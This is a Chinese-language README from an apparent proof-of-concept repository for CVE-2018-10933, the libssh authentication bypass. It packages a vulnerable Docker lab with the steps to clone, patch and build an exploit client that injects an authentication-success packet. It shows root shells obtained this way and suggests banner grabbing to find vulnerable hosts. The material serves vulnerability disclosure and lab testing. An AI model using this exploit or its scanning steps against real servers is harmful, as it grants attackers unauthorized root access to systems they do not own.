CVE-2018-10933 libssh 身份验证绕过,一个易受攻击的 Docker 容器,监听 2222 端口以供利用。容器中包含一个基础的 libssh 概念验证补丁,用于绕过身份验证。登录时使用 libssh 默认的 "myuser" / "mypassword"。该补丁应用于 Docker 容器中的 libssh 副本,会在任何身份验证(keyboard-interactive / pubkey / gss-api 等)尝试期间注入一个 SSH2_MSG_USERAUTH_SUCCESS 数据包,并将客户端状态设置为继续。随附的服务器已从示例代码中打补丁,以使利用能够成功。
./build.sh
./run.sh
ssh -l myuser -p 2222 localhost
容器中提供了已打补丁的 exploit-libssh-0.8.3 和易受攻击的 sshd,供测试使用。"ssh-client" 能够成功绕过身份验证,但由于服务器代码中的额外身份验证检查,无法针对默认示例服务器生成 shell。
[root@305b48cb932e ]# cd /root/exploit-libssh-0.8.3/build/examples
[root@305b48cb932e examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:Mg6j2yHWMsRe56ABhAYjLIJK9yD2N3lGQAl3EfGqP7w
yes
This new key will be written on disk for further usage. do you agree ?
yes
Requesting shell : Channel request shell failed
[root@305b48cb932e examples]#
来自公告:“恶意客户端无需首先执行身份验证即可创建通道,从而导致未经授权的访问。”
以下 libssh 调试输出显示身份验证已在服务器上成功,并且已创建会话通道。主机现已通过身份验证,但额外的服务器端检查阻止了命令的执行。攻击者仍可能尝试通过该服务隧道/代理连接。
[2018/10/19 01:26:24.929187, 3] ssh_packet_process: Dispatching handler for packet type 52
[2018/10/19 01:26:24.929228, 3] ssh_packet_userauth_success: Authentication successful
[2018/10/19 01:26:24.971901, 3] ssh_packet_socket_callback: packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/19 01:26:24.971984, 3] ssh_packet_process: Dispatching handler for packet type 90
[2018/10/19 01:26:24.972012, 3] ssh_packet_channel_open: Clients wants to open a session channel
[2018/10/19 01:26:24.972057, 3] ssh_message_channel_request_open_reply_accept_channel: Accepting a channel request_open for chan 43
[2018/10/19 01:26:24.972193, 3] ssh_socket_unbuffered_write: Enabling POLLOUT for socket
[2018/10/19 01:26:24.972233, 3] packet_send2: packet: wrote [len=28,padding=10,comp=17,payload=17]
尝试启动 shell / exec 或 pty 会获得一个成功的会话,但由于对用户身份验证状态的额外检查,示例服务器上会报错。以下错误显示在示例服务器上。
[2018/10/19 03:33:56.539864, 3] ssh_message_handle_channel_request: Received a shell channel_request for channel (43:0) (want_reply=1)
[2018/10/19 03:33:56.539899, 3] ssh_message_channel_request_reply_default: Sending a default channel_request denied to channel 0
对于定制的 libssh 服务器,仍有可能导致任意代码执行,但大多数可能只允许隧道或对 SSH 协议的某种滥用。通过移除此额外的身份验证检查,服务器现在容易受到身份验证绕过漏洞的攻击。服务器端的 libssh 实现有可能引入此漏洞。以下是一个使用已打补丁的 libssh 成功利用的示例。
[root@3a184714fd21]# cd /root/exploit-libssh-0.8.3/build/examples
[root@3a184714fd21 examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:DyYf8l6tjNc0kyUe5uE/Rt8vHI1SuhsVGbzOonzPlaY
yes
This new key will be written on disk for further usage. do you agree ?
yes
[root@3a184714fd21 /]# id
uid=0(root) gid=0(root) groups=0(root)
Docker 容器默认运行易受攻击的 "ssh_server_fork" 示例,原始版本可在 "libssh-0.8.3" 目录中找到,用于测试/调试目的。
以下供应商由于使用 libssh 而实际受到此缺陷的影响。
libssh 本地安装于许多 *BSD 和 Linux 发行版上,并被 ffmpeg (?)、hydra 及少量 FOSS 软件包使用。
你可以从此仓库构建一个已打补丁的 libssh 客户端用于漏洞利用。
git clone https://github.com/hackerhouse-opensource/cve-2018-10933
cd cve-2018-10933
xz -d libssh-0.8.3.tar.xz
tar -xvf libssh-0.8.3.tar
cd libssh-0.8.3
patch -p0 < ../cve-2018-10933.patch
mkdir build
cd build
cmake ..
make
然后你可以使用 "ssh-client" 及任何示例来绕过受影响的 libssh 服务器实现上的身份验证。
$ ./ssh-client -l root 127.0.0.1 -p 2222
[root@8fec78903da2 /]# id
uid=0(root) gid=0(root) groups=0(root)
只需在受影响的 SSH 端口上执行常规横幅抓取(例如 nmap),即可简单地扫描可能易受攻击的主机。
SSH-2.0-libssh_0.8.3
原始公告位于 CVE-2018-10933.txt,漏洞由 Peter Winter Smith 发现。易受攻击的 Docker 和 libssh 漏洞利用补丁由 Hacker House (https://hacker.house) 发布。
这些文件根据 3-clause BSD 许可证提供。